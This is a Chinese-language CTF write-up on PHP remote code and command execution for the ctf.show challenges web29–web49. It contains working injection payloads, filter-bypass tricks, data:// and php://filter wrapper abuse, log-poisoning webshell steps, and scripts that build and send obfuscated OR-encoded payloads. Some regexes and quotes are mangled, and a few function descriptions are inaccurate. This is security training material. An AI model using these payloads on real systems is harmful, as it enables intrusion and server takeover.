0x01基础知识

什么是RCE

RCE漏洞,即远程代码漏洞和远程命令执行漏洞,这种漏洞允许攻击者在后台服务器上远程注入操作系统命令或代码,从而控制后台系统。

在很多Web应用中,开发人员会使用一些特殊函数,这些函数以一些字符串作为输入,功能是将输入的字符串当作代码或者命令来进行执行。当用户可以控制这些函数的输入时(当应用程序未正确验证过滤限制用户输入时),就产生了RCE漏洞。

1.分类(远程代码和远程命令)

1.命令执行漏洞:直接调用操作系统命令。例如,当Web应用在调用一些能将字符串转化成代码的函数时,如果未对用户输入进行合适的处理,可能造成命令执行漏洞。

2.代码执行漏洞:靠执行脚本代码调用操作系统命令。例如,PHP中的system()、exec()和passthru()函数,如果未对用户输入进行过滤或过滤不严,可能导致代码执行漏洞。

额外的:

3.系统的漏洞造成命令注入:例如bash破壳漏洞(CVE-2014-6271)是一个远程命令执行(RCE)漏洞。这个漏洞存在于Bash shell中,使得攻击者可以通过构造特定的环境变量值来执行任意命令,从而获取系统的控制权。。

4.调用的第三方组件存在代码执行漏洞:**例如WordPress中用来处理图片的ImageMagick组件,以及JAVA中的命令执行漏洞(如struts2、ElasticsearchGroovy等)。

2.函数

1.对于PHP,以下是一些可能存在RCE漏洞的函数:

PHP的system()和exec()函数:这些函数用于执行外部命令,如果未对用户输入进行适当的过滤或验证,攻击者可能利用这些函数执行任意命令。

PHP的eval()函数:该函数用于执行字符串作为PHP代码,如果未对用户输入进行适当的过滤或验证,攻击者可以利用此函数执行任意代码。

PHP的create_function()函数:该函数用于动态创建函数,如果未对用户输入进行适当的过滤或验证,攻击者可以利用此函数执行任意代码。

2.对于ASP(Active Server Pages),以下是一些可能存在RCE漏洞的函数:

ASP的Run()和Exec()函数:这些函数用于执行外部命令,如果未对用户输入进行适当的过滤或验证,攻击者可能利用这些函数执行任意命令。

ASP的ScriptEngine()函数:该函数用于执行VBScript代码,如果未对用户输入进行适当的过滤或验证,攻击者可以利用此函数执行任意代码。

3.对于Java,以下是一些可能存在RCE漏洞的函数:

Java的Runtime.exec()方法:该方法用于执行外部命令,如果未对用户输入进行适当的过滤或验证,攻击者可能利用此方法执行任意命令。

Java的ProcessBuilder类:该类用于构建和执行外部进程,如果未对用户输入进行适当的过滤或验证,攻击者可能利用此类执行任意命令。

4.对于Python,以下是一些可能存在RCE漏洞的函数:

Python的os.system()和subprocess.call()函数:这些函数用于执行外部命令,如果未对用户输入进行适当的过滤或验证,攻击者可能利用这些函数执行任意命令。

Python的eval()和exec()函数:这些函数用于执行字符串作为Python代码,如果未对用户输入进行适当的过滤或验证,攻击者可以利用这些函数执行任意代码。

关于php:

PHP代码执行函数:

eval()、assert()、preg_replace()、create_function()、array_map()、call_user_func()、call_user_func_array()、array_filter()、uasort()、等

PHP命令执行函数:

system()、exec()、shell_exec()、pcntl_exec()、popen()、proc_popen()、passthru()、等

3.远程命令执行

1.函数

system() 函数允许执行系统命令,并将命令的输出直接打印到标准输出(浏览器或命令行终端)。它的基本语法如下:

system(string $command, &$output, &$return_var);

  • $command:要执行的命令。
  • $output(可选):如果提供了这个参数,命令的输出将会被存储在这个数组中,每一行输出作为一个数组元素。
  • $return_var(可选):如果提供了这个参数,命令执行后的返回状态码将会被存储在这个变量中。
  • (exec() 函数返回命令输出的最后一行。如果你需要获取完整的输出,应该使用

$output 参数。)

$command 参数是要执行的系统命令。

$output 参数是一个引用,用于存储命令的输出信息。

$return_var 参数是一个引用,用于存储命令的返回值(执行结果)。

除了 system() 函数,还有其他用于执行系统命令的 PHP 函数,例如:

exec() 函数:执行系统命令,并将命令的输出作为一个字符串返回。

passthru() 函数:执行系统命令,并直接将命令的输出发送到标准输出。

shell_exec() 函数:执行系统命令,并将命令的输出作为一个字符串返回。

proc_open() 函数:在一个进程中执行命令,并提供更多的控制和交互选项。

0x02题目

web29

#绕过flag

1
2
3
4
5
6
7
8
9
10
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

代码分析:

  • error_reporting(0)是php中用于关于报错的回显,如果有错误信息,不会直接显示出来。
  • isset()函数是php中检查定义的值中是否为空,如果不为空将会继续,若是为空就执行 highlight_file(FILE)用于显示当前文件。
  • !preg_match(“/flag/i”, $c)函数是检查$c中是否包含flag(不区分大小写)

preg_match ()函数

匹配正则表达式模式,分隔符后的”i”标记这是一个大小写不敏感的搜索

模式中的\b标记一个单词边界,所以只有独立的单词会被匹配,如:

1
2
if (preg_match("/\bweb\b/i", "PHP is the web scripting language of choice.")) :   True 
if (preg_match("/\bweb\b/i", "PHP is the website scripting language of choice.")) : False

小技巧:如果仅仅想要检查某个字符串是否包含另外一个字符串,不要使用 preg_match() , 使用 strpos() 会更快。

  • eval($c)是将$c当做代码进行执行

这里的话就是绕过flag

1.使用一对单引号‘绕过flag

2.使用\绕过flag

3.?或者*等通配符绕过flag

LINUX通配符

配符是由shell处理的, 它只会出现在 命令的“参数”里。当shell在“参数”中遇到了通配符时,shell会将其当作路径或文件名去在磁盘上搜寻可能的匹配:若符合要求的匹配存在,则进行代换(路径扩展);否则就将该通配符作为一个普通字符传递给“命令”,然后再由命令进行处理。总之,通配符 实际上就是一种shell实现的路径扩展功能。在 通配符被处理后, shell会先完成该命令的重组,然后再继续处理重组后的命令,直至执行该命令。

* 匹配任何字符串/文本,包括空字符串;*代表任意字符(0个或多个)
? 匹配任何一个字符(不在括号内时)?代表任意1个字符
[abcd] 匹配指定字符范围内的任意单个字符
[a-z] 表示范围a到z,表示范围的意思

对于linux cat和ca’’t ca\t ca””t效果是相同的 这样同样可以绕过字符的限制

payload:

1
?c=system("ls");#查看目录

image-20241202221351137

1
2
3
?c=system("tac%20fla?.php");
?c=system("tac%20fla*");
?c=system("tac%20fla\g.php");

非预期解

1.写入一句话木马用蚁剑连接

2.函数套用?c=highlight_file(next(array_reverse(scandir(“.”))));

3.内敛执行?c=echo%20tac%20fla*;

4.利用参数输入?c=eval($_GET[1]);&1=phpinfo();

5.利用include参数输入?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

6.利用cp命令将flag拷贝到别处?c=system(“cp%20fl*g.php%20a.txt%20”);然后浏览器访问a.txt,读取即可。

web30

#绕过system

1
2
3
4
5
6
7
8
9
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

其实与上一题的做法是不变的,只是我们需要绕过system去执行命令,这里我们可以用passthru命令函数

passthru函数

passthru 函数是一个内置函数,其作用是执行一个外部命令,并将原始的输出直接输出到浏览器或命令行界面,而不需要经过 PHP 的输出缓冲区。这意味着你可以通过 passthru 函数运行系统命令,并实时地看到这些命令的输出,包括任何颜色代码或格式控制字符。

php执行系统命令函数

  • system : 执行外部程序,并且显示输出,如果 PHP 运行在服务器模块中, system() 函数还会尝试在每行输出完毕之后, 自动刷新 web 服务器的输出缓存。如果要获取一个命令未经任何处理的 原始输出, 请使用 passthru() 函数。

  • exec : 执行一个外部程序,回显最后一行,需要用echo输出。

  • shell_exec : 通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。

  • popen : 打开一个指向进程的管道,该进程由派生给定的 command 命令执行而产生。

  • proc_open : 执行一个命令,并且打开用来输入/输出的文件指针。

  • passthru : 执行外部程序并且显示原始输出。同 exec() 函数类似, passthru() 函数 也是用来执行外部命令(command)的。 当所执行的 Unix 命令输出二进制数据, 并且需要直接传送到浏览器的时候, 需要用此函数来替代 exec() 或 system() 函数。 常用来执行诸如 pbmplus 之类的可以直接输出图像流的命令。 通过设置 Content-type 为 image/gif, 然后调用 pbmplus 程序输出 gif 文件, 就可以从 PHP 脚本中直接输出图像到浏览器。

  • pcntl_exec() : 在当前进程空间执行指定程序,当发生错误时返回 false ,没有错误时没有返回。

  • `(反引号):同 shell_exec()

payload

1
2
?c=passthru("ls");
?c=passthru("tac%20fla*");

非预期解的话只要不影响到system的话其实都可以正常使用,如果有system的话换成其他的函数就可以了

web31

#绕过cat和php

过滤了flag,system,php,cat,sort,shell,’.‘,’ ‘,’'‘

1
2
3
4
5
6
7
8
9
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

绕过cat

tac 从最后一行开始显示文件内容

more:

  • 用于分页查看文件内容。
  • 支持通过空格键向下翻页,b键向上翻页,q键退出查看。
  • 还可以搜索指定文本,并支持设置每屏显示的行数。

less:

  • 类似于more,但功能更强大。
  • 支持方向键上下滚动,空格向下翻页,b向上翻页。
  • 可以显示行号,支持搜索指定字符串,并可以方便地查找和浏览文件内容。
  • 使用q键退出查看。

head:

  • 用于查看文件的开头部分。
  • 默认显示文件的前10行,但可以通过指定参数来显示更多或更少的行数或字节数。
  • 支持与其他命令结合使用,如管道命令。

sort:

  • 用于对文本文件内容进行排序。
  • 支持多种排序方式,如按字母、数字、逆序排序等。
  • 还可以合并已排序的文件,删除重复行,以及检查文件是否已经排序。

tail:

  • 用于显示文件的末尾内容。
  • 默认显示文件的最后10行,但可以通过指定参数来显示更多行数。
  • 支持实时追踪文件的变化,并持续显示新增的内容,适用于查看日志文件等动态更新的文件。

当然也可以像绕过flag那样进行cat的绕过

绕过空格

< <> 重定向符

%20(space)

%09(tab)

$IFS$1

${IFS}(最好用这个)

$IFS

%0a 换行符

{cat,flag.txt} 在大括号中逗号可起分隔作用

$ {IFS},$ IFS,$ IFS $ 9的区别

首先$ IFS在linux下表示分隔符,只有cat$ IFSa.txt的时候,bash解释器会把整个IFSa当做变量名,所以导致没有办法运行,然而如果加一个{}就固定了变量名,同理在后面加个$可以起到截断的作用,而$9指的是当前系统shell进程的第九个参数的持有者,就是一个空字符串,因此$9相当于没有加东西,等于做了一个前后隔离。

这里我们用${IFS}代替空格

payload

1
2
?c=passthru("ls");发现可以回显,证明并没有用过滤双引号
?c=passthru("ca\t${IFS}fla?????");

但语句是错误的,后来看了很多大佬的wp,才知道:

因为在linux里面当转义符号()转义普通字符的时候,和普通字符原来的效果是一样的,意思就是\t和t都是t,只有在转义特殊字符的时候,才起了作用,比如$,$则不再表示变量的意思。

注意:上面的$需要用反斜杠进行转义

?c=passthru(“tac\${IFS}fla*”);

然后可以获取flag

web32

image-20241202223226048

这次过滤了更多了,过滤了/flag|system|php|cat|sort|shell|.| |'|`|echo|;|(/

再像前几关一样直接输入命令执行不大可能了,因为括号,分号,反引号都被过滤掉了,所以我们这里的话可以用上第一题里面的非预期解去做

1.带参数输入

?>代替分号

1
2
3
?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

?c=include$_GET[1]?>&1=data://text/plain,<?php system("tac flag.php")?>

2.日志注入:

日志包含漏洞的成因还是服务器没有进行严格的过滤 ,导致用户可以进行任意文件读取,

但是前提是服务器需要开启了记录日志的功能才可以利用这个漏洞。

对于Apache,日志存放路径:/var/log/apache/access.log

对于Ngnix,日志存放路径:/var/log/nginx/access.log 和 /var/log/nginx/error.log

中间件的日志文件会保存网站的访问记录,比如HTTP请求行,User-Agent,Referer等客户端信息,如果在HTTP请求中插入恶意代码,那么恶意代码就会保存到日志文件中,访问日志文件的时候,日志文件中的恶意代码就会执行,从而造成任意代码执行甚至获取shell。

Nginx中的日志分两种,一种是error.log,一种是access.log。error.log可以配置成任意级别,默认级别是error,用来记录Nginx运行期间的处理流程相关的信息;access.log指的是访问日志,用来记录服务器的接入信息(包括记录用户的IP、请求处理时间、浏览器信息等)。

做法:

url/?c=include$_GET[1]?%3E&1=../../../../var/log/nginx/access.log

/var/log/nginx/access.log是nginx默认的access日志路径,访问该路径时,在User-Agent中写入一句话木马,然后用中国蚁剑连接即可

web33

image-20241202223505176

比web32多过滤了一个双引号,但33和32都是一个解题方法

web34

image-20241202223753099

比web33多过滤了一个冒号,但不影响我们用伪协议

web35

image-20241202223810603

比web34多了<和=,同上

web36

image-20241202223826336

一样的解题方法通杀,只是参数不要写成数字就行了

web37

#include包含

image-20241202224028444

与前面不同的是,这里加了一个include语句

include函数

include就是包含文件的函数,把后$c的内容包含进来.

我们先直接来看一个简单的例子,网页代码如下:

include $_GET[‘test’];

?>

在创建一个phpinfo.php页面,代码如下:

phpinfo();

?>

利用文件包含,我们通过include函数来执行phpinfo.php页面,成功解析

image-20241203105422484

将phpinfo.php文件后缀改为txt,jpg后进行访问,依然可以解析

可以看出,include()函数并不在意被包含的文件是什么类型,只要有php代码,都会被解析出来。(原作者给出来的解释,我验证了也是相同的结论)

所以回到代码中,这段代码意思是:include就是包含文件的函数,把后面的内容包含进来.可以把file参数指向的文件内容嵌入到当前位置。到此代码解析完成

解题思路:

这里我们对$c的值应该设为一串php代码

伪协议:

  • 总:

file:// 协议

php:// 协议

zip:// bzip2:// zlib:// 协议

data:// 协议

http:// 协议 https://协议

phar:// 协议

  • 分:

file:// 协议:

条件 allow_url_fopen:off/on allow_url_include :off/on

作用:用于访问本地文件系统。在include()/require()等参数可控的情况下,如果导入非php文件也会被解析为php

用法:1.file://[文件的绝对路径和文件名]

​ 2.[文件的相对路径和文件名]

​ 3.[http://网络路径和文件名]

php:// 协议:条件 allow_url_include :仅php://input php://stdin php://memory php://temp 需要on allow_url_fopen:off/on

作用:php:// 访问各个输入/输出流(I/O streams),在CTF中经常使用的是php://filter和php://input,php://filter用于读取源码,php://input用于执行php代码

php://filter参数详解:resource=(必选,指定了你要筛选过滤的数据流) read=(可选) write=(可选)

对read和write,可选过滤器有string.rot13、string.toupper、string.tolower、string.strip_tags、convert.base64-encode & convert.base64-decode

用法举例:php://filter/read=convert.base64-encode/resource=flag.php

zip:// bzip2:// zlib:// 协议:

条件:allow_url_fopen:off/on allow_url_include :off/on

作用:zip:// & bzip2:// & zlib:// 均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名

用法:zip://[压缩文件绝对路径]%23[压缩文件内的子文件名]

compress.bzip2://file.bz2

compress.zlib://file.gz

其中phar://和zip://类似

data:// 协议:

条件:allow_url_fopen:on allow_url_include :on

作用:可以使用data://数据流封装器,以传递相应格式的数据。通常可以用来执行PHP代码。

用法:data://text/plain, data://text/plain;base64,

举例:data://text/plain,

data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

利用data伪协议读flag

data://,data:// 是一个流封装器(stream wrapper),它允许你读取或写入数据作为文件流,而不是从实际的磁盘文件中,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行

方法一:

1
2
?c=data://text/plain,<?php echo system('cat fl*');?>
?c=data://text/plain,<?php%20 system('cat fl*');?>

查看源码即可得到flag

方法二:

?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

base64解码

1
<?php system('cat flag.php');?>

查看源码即可得到flag

web38

image-20241203112243907

原理同上一题,多了个php和file过滤,那我们就用data伪协议,但因为php被过滤了,所以我们改一下payload

1
2
/?c=data://text/plain,<?=system("tac fla*");?>
/?c=data://text/plain,<?=`tac fla*`;?>

在PHP中,使用是短标签的写法,等同于

1
<?php echo ... ?>

当然这里有日志注入也是可以的

nginx的日志文件/var/log/nginx/access.log

1
data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

查看源代码 或者通过包含日志文件拿shell

web39

#include包含.php

image-20241203112712388

过滤了flag,限制了.php后缀

include($c.”.php”);

这行代码的作用是将一个PHP文件的内容包含(或插入)到当前执行的脚本中。这里,

$c 是一个变量,它的值会被附加到字符串 “.php” 之前,从而构成要包含文件的完整路径(或至少是文件名,如果文件位于当前工作目录中)。例如,如果

$c 的值是 “header”,那么 include($c.”.php”); 实际上会尝试包含并执行名为 header.php 的文件。

我们可以试试伪协议,因为不能带有flag,所以filter协议和php://input也不好用了。data://text/plain, 这样就相当于执行了php语句, .php 因为前面的php语句已经闭合了,所以后面的.php会被当成html页面直接显示在页面上,起不到什么 作用

构造payload:

1
/?c=data://text/plain,<?php%20system(%27tac%20fla*%27);?>

这样就相当于执行了php语句.php

成功获取flag

web40

#无参数rce

image-20241203112906751

无参数RCE

无参数rce就是不使用参数,仅仅依靠传入没有参数的函数套娃就可以达到命令执行的效果.

  • 相关函数介绍:

scandir() :将返回当前目录中的所有文件和目录的列表。返回的结果是一个数组,其中包含当前目录下的所有文件和目录名称(glob()可替换)

current() :返回数组中的单元,默认取第一个值。pos()和current()是同一个东西

getcwd() :取得当前工作目录

dirname():函数返回路径中的目录部分

array_flip() :交换数组中的键和值,成功时返回交换后的数组

array_rand() :从数组中随机取出一个或多个单元

strrev():用于反转给定字符串

getcwd():获取当前工作目录路径

dirname() :函数返回路径中的目录部分。

chdir() :函数改变当前的目录。

eval()、assert():命令执行

hightlight_file()、show_source()、readfile():读取文件内容

getallheaders():返回所有的HTTP头信息,返回的是数组而eval要求为字符串,所以要用implode()函数将数组转换为字符串

get_defined_vars():该函数的作用是获取所有的已定义变量,返回值也是数组,不过是二维数组,用var_dump()输出可以看见输出的内容,看见在第几位之后,可以用current()函数来获取其值,详细可以看官方函数。payload:var_dump(current(get_defined_vars()));

session_id():session_id()可以用来获取/设置当前会话 ID,可以用这个函数来获取cookie中的phpsessionid,并且这个值我们是可控的。

如可以在cookie中设置 PHPSESSID=706870696e666f28293b,然后用hex2bin()函数,即传入?exp=eval(hex2bin(session_id(session_start()))); 并设置cookie:PHPSESSID=706870696e666f28293b

session_start 函数是为了开启session

  • 配合使用的函数:

print_r(scandir(‘.’)); 查看当前目录下的所有文件名

var_dump()

localeconv() 函数返回一包含本地数字及货币格式信息的数组。

current() 函数返回数组中的当前元素(单元),默认取第一个值,pos是current的别名

each() 返回数组中当前的键/值对并将数组指针向前移动一步

end() 将数组的内部指针指向最后一个单元

next() 将数组中的内部指针向前移动一位

prev() 将数组中的内部指针倒回一位

array_reverse() 以相反的元素顺序返回数组

典型的无参数rce:

if(‘;’ === preg_replace(‘/[a-z,_]+((?R)?)/‘, NULL, $_GET[‘exp’]))

  • 正则表达式

**/[a-z,_]+((?R)?)/**:这个正则表达式用于匹配特定的字符串模式。

  1. [a-z,_]+:匹配一个或多个小写字母(a-z)、逗号(,)或下划线(_)。
  2. (和):分别匹配左括号和右括号,因为括号在正则表达式中有特殊含义,所以需要用反斜杠进行转义。
  3. (?R)?:这是一个递归的子模式引用,它允许正则表达式匹配自身定义的模式。在这个上下文中,它允许函数名内部包含其他函数调用(即嵌套函数调用)。不过,需要注意的是,并不是所有的正则表达式引擎都支持(?R)这样的递归模式,而PHP的正则表达式引擎(PCRE)是支持的。
  • preg_replace(‘/[a-z,_]+((?R)?)/‘, NULL, $_GET[‘exp’])

:这个函数调用将上述正则表达式匹配到的所有内容替换为NULL(在PHP中,NULL等同于空字符串””在替换操作中的效果)。这意味着,如果$_GET[‘exp’]包含任何符合正则表达式的字符串(即任何函数调用),这些调用将被删除,只留下不符合该正则表达式的字符。

  • if(‘;’ === preg_replace(…))

:最后,这个if语句检查preg_replace函数的结果是否严格等于分号(;)。由于preg_replace将匹配到的内容替换为空字符串,这意味着只有当$_GET[‘exp’]完全由一个或多个函数调用组成,且这些函数调用被完全删除后,结果才可能是空字符串(在这个比较中,空字符串被视为与NULL或””相同,但在严格比较===中,NULL和””是不相等的;不过,这里的重点是检查是否只剩下分号,这可能是因为原始输入就是一个分号,或者是一个函数调用被删除后恰好剩下分号,但这种情况在给出的正则表达式和上下文中不太可能)。然而,这里的比较逻辑似乎有些混淆,因为通常我们不会期望preg_replace的结果直接是一个分号,除非原始输入就是分号或者存在某种特定的模式导致替换后恰好剩下分号。

解题思路:

查看目录:?c=var_dump(scandir(pos(localeconv())));

?c=print_r(scandir(current(localeconv())));

flag.php在倒数第二位,然后用show_source输出

1.?c=echo highlight_file(next(array_reverse(scandir(pos(localeconv())))));

  • payload1解释

echo:PHP中的输出函数,用于输出字符串或表达式的结果。

highlight_file:PHP中的函数,用于高亮显示PHP文件的内容。

next:PHP中的函数,用于将内部指针向前移动到下一个元素。

array_reverse:PHP中的函数,用于反转数组元素的顺序。

scandir:PHP中的函数,用于列出目录中的文件和子目录。

pos:PHP中的函数,返回数组中当前元素的键名。

localeconv():PHP中的函数,返回本地化的数字和货币格式信息。

  • 具体来说,这段代码的执行流程如下:

localeconv():获取本地化的数字和货币格式信息。

pos(localeconv()):获取localeconv()返回数组的键名。

scandir(pos(localeconv())):列出pos(localeconv())指向的目录中的文件和子目录。

array_reverse(scandir(pos(localeconv()))):反转这些文件和子目录的顺序。

next(array_reverse(scandir(pos(localeconv())))):将内部指针移动到下一个元素,即下一个文件或子目录。

highlight_file(next(array_reverse(scandir(pos(localeconv()))))):高亮显示这个文件的内容。

echo:输出这个高亮显示的内容。

2.c=eval(next(reset(get_defined_vars())));&1=;system(“tac%20flag.php”);

  • payload2解释:

?c=eval(next(reset(get_defined_vars())));:这是GET请求的一部分,其中c参数的值是一个PHP表达式。

get_defined_vars():这个函数返回当前所有已定义变量的数组,包括局部变量和全局变量。

reset():这个函数将数组内部指针指向第一个元素,并返回该元素的值。

next():这个函数将数组内部指针向前移动一位,并返回当前指针处的元素值。

eval():这个函数执行字符串作为PHP代码。

&1=;system(“tac%20flag.php”);:这是GET请求的另一部分,尝试通过URL参数执行系统命令。

system():这个函数执行一个shell命令,并将完整的输出返回。

“tac%20flag.php”:这里的命令是tac flag.php,tac是反向输出文件内容的Unix命令,%20是URL编码的空格。

这段代码的目的是尝试执行flag.php文件的反向内容。

web41

#或运算

image-20241203113345873

if(!preg_match(‘/[0-9]|[a-z]|^|+|~|$|[|]|{|}|&|-/i’, $c)){ eval(“echo($c);”);

这段PHP代码的作用是检查变量

$c是否不包含任何数字(0-9)、小写字母(a-z)、以及一系列特殊字符(包括^、+、~、$、[、]、{、}、&、-)。如果变量

$c不包含这些字符中的任何一个,那么它将执行eval(“echo($c);”);语句。

这个题过滤了$、+、-、^、~使得异或自增和取反构造字符都无法使用,同时过滤了字母和数字。但是特意留了个(或运算符)|

思路如下:

  • 首先对ascii从0-255所有字符中筛选出未被过滤的字符,然后两两进行或运算,存储结果。
  • 跟据题目要求,构造payload的原型,并将原型替换为或运算的结果
  • 使用POST请求发送c,获取flag

1.方法一

采用了大佬的脚本

rce_or.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
$myfile = fopen("rce_or.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {

if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';//绕过的运算符
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}

else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)|urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}

}
}
fwrite($myfile,$contents);
fclose($myfile);

大体意思就是从进行异或的字符中排除掉被过滤的然后在判断异或得到的字符是否为可见字符。

exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
# -*- coding: utf-8 -*-
import requests
import urllib
from sys import *
import os
os.system("php rce_or.php") #没有将php写入环境变量需手动运行
if(len(argv)!=2):
print("="*50)
print('USER:python exp.py <url>')
print("eg: python exp.py http://ctf.show/")
print("="*50)
exit(0)
url=argv[1]
def action(arg):
s1=""
s2=""
for i in arg:
f=open("rce_or.txt","r")
while True:
t=f.readline()
if t=="":
break
if t[0]==i:
#print(i)
s1+=t[2:5]
s2+=t[6:9]
break
f.close()
output="(\""+s1+"\"|\""+s2+"\")"
return(output)

while True:
param=action(input("\n[+] your function:") )+action(input("[+] your command:"))
data={
'c':urllib.parse.unquote(param)
}
r=requests.post(url,data=data)
print("\n[*] result:\n"+r.text)

在文件中用cmd命令:

python exp.py url(记得https改成http,我找了好久才找到错误的原因)

即可获取flag!

方法二

1.用字符手动构造payload

(system)(‘ls’)

c=(“%13%19%13%14%05%0d”|”%60%60%60%60%60%60”)(“%00%0c%13%00”|”%27%60%60%27”)

(system)(cat flag.php)

c=(“%13%19%13%14%05%0d”|”%60%60%60%60%60%60”)(“%03%01%14%00%06%0c%01%07%00%10%08%10”|”%60%60%60%20%60%60%60%60%2e%60%60%60”)

2.用脚本自动生成payload

python

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import re
import urllib
from urllib import parse
hex_i = ""
hex_j = ""
pattern='/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i'
str1=["system","ls"]//要构造的字符串 system 和 ls
for p in range(2):
t1 = ""
t2 = ""
for k in str1[p]:
for i in range(256):
for j in range(256):
if re.search(pattern,chr(i)) :
break
if re.search(pattern,chr(j)) :
continue
if i < 16:
hex_i = "0" + hex(i)[2:]
else:
hex_i=hex(i)[2:]
if j < 16:
hex_j="0"+hex(j)[2:]
else:
hex_j=hex(j)[2:]
hex_i='%'+hex_i
hex_j='%'+hex_j
c=chr(ord(urllib.parse.unquote(hex_i))|ord(urllib.parse.unquote(hex_j)))
if(c ==k):
t1=t1+hex_i
t2=t2+hex_j
break
else:
continue
break
print("(\""+t1+"\"|\""+t2+"\")")

得出的结果与手动构造一样,但相抵便捷一点

web42

#重定向丢弃的绕过

image-20241203113618790

解析代码:system($c.” >/dev/null 2>&1”);

  • system() 是PHP中的一个函数,用于执行外部程序,并显示输出。
  • $c 是一个变量,它应该包含要执行的命令的字符串。
  • >/dev/null 是重定向操作符,它的作用是将标准输出(stdout)重定向到/dev/null,一个特殊的设备文件,用于丢弃所有写入其中的数据。
  • 在类Unix系统中,/dev/null,或称空设备,是一个特殊的设备文件,它丢弃一切写入其中的数据(但报告写入操作成功)
  • 2>&1 是另一个重定向操作符,它的作用是将标准错误输出(stderr,文件描述符为2)重定向到标准输出(stdout,文件描述符为1)的当前位置。在这个上下文中,因为标准输出已经被重定向到/dev/null,所以标准错误输出也会被重定向到/dev/null****。

所以这里是不进行回显,输入的内容会被丢弃,该怎么办呢?答案是可以使用 “ ; “ “ || “ “ & “ “ && “ 分隔,如?c=ls&&pwd. 执行的时候会将两个都正常执行,但由于重定向,后面的pwd指令的结果会被丢弃而不被输出

知识点:通道符

; //分号

| //只执行后面那条命令

|| //只执行前面那条命令

& //两条命令都会执行

&& //两条命令都会执行

知识点:重定向

重定向(Redirect)就是通过各种方法将各种网络请求重新定个方向转到其它位置

重定向是网页制作中的一个知识。假设你现在所处的位置是一个论坛的登录页面,你填写了帐号,密码,点击登陆,如果你的帐号密码正确,就自动跳转到论坛的首页,不正确就返回登录页;这里的自动跳转,就是重定向的意思。或者可以说,重定向就是,在网页上设置一个约束条件,条件满足,就自动转入到其它网页、网址。

解题思路:

1.查看目录:?c=ls;ls

语句拼接后是system(ls;ls>/dev/null 2>&1**);由于;的作用是逐步执行,由于重定向,后面的ls执行的结果会被丢弃而不会输出**

2.查看flag.php:?c=tac flag.php;ls

同1的解释

最后成功获得flag!

web43

#过滤+重定向

image-20241203113808719

正常的过滤+重定向

;分号用不了那就用别的管道符

payload:

1
?c=ls&&ls---查看目录

当时我传进去后发现没有回显,以为是我自己理解错了,结果是参数处理错误,意思就是当?c=ls&&ls时服务器只是将ls识别成c的传递值,而不是ls&&ls,当他们经过url编码后服务器才会把完整的ls&&ls当成是给c传递的值,所以我们的payload应该是:

1
2
3
?c=ls%26%26ls

?c=tac flag.php%26%26ls---查看flag

当然||和|,&都是可以的,但||和|不是中间件,&是中间件,所以需要解析

web44

image-20241203114948954

跟上题一样

web45

image-20241203115011171

一样

web46

image-20241203115023290

关于?绕过

为什么/?c=tac%09fla?????||可以而/?c=tac%09fla?||不可以,猜测应该是目录中有其他类似于fla开头的文件,这样的话会导致出错,无法正确的读取到我们具体的文件,所以有时候?最好是在个数上也要明确

wbe47

image-20241203115242537

只是过滤了很多cat的替代命令,tac可以正常用

web48

image-20241203115319047

还是没过滤掉tac

常见的命令工具:

sed:

  • 是一个流编辑器,用于对文本进行过滤和转换。
  • 可以逐行读取文件或管道输入,并根据指定的规则对文本进行处理。
  • 支持删除、替换、插入、追加文本等操作,以及使用正则表达式进行匹配和替换。

cut:

  • 用于从文本文件中提取列或字段。
  • 可以按字节、字符或指定分隔符来切割文本。
  • 支持从文本中提取指定范围的字符或字段,并输出到标准输出或指定文件。

awk:

  • 是一个强大的文本处理工具,用于对文本文件进行格式化、扫描和处理。
  • 可以使用模式匹配和动作对文本进行过滤和转换。
  • 支持内置变量和自定义函数,以及使用正则表达式进行匹配和替换。
  • 常用于处理和分析日志文件、数据报表等。

strings:

  • 用于从二进制文件中提取可打印的字符串。
  • 可以扫描文件并输出所有长度超过指定阈值的连续可打印字符序列。
  • 常用于分析二进制文件的内容,如可执行文件、库文件等。

od:

  • 是一个八进制转储工具,用于以不同的格式(如八进制、十六进制、十进制等)显示文件内容。
  • 可以读取二进制文件,并以指定的格式输出其内容。
  • 常用于分析二进制文件的结构和内容。

curl:

  • 是一个命令行工具,用于在命令行下执行URL传输操作。
  • 支持多种协议,如HTTP、HTTPS、FTP等。
  • 可以用于下载或上传文件,以及发送GET、POST等HTTP请求。
  • 常用于自动化脚本中,用于从Web服务器获取数据或向Web服务器发送数据。

web49

image-20241203115353682

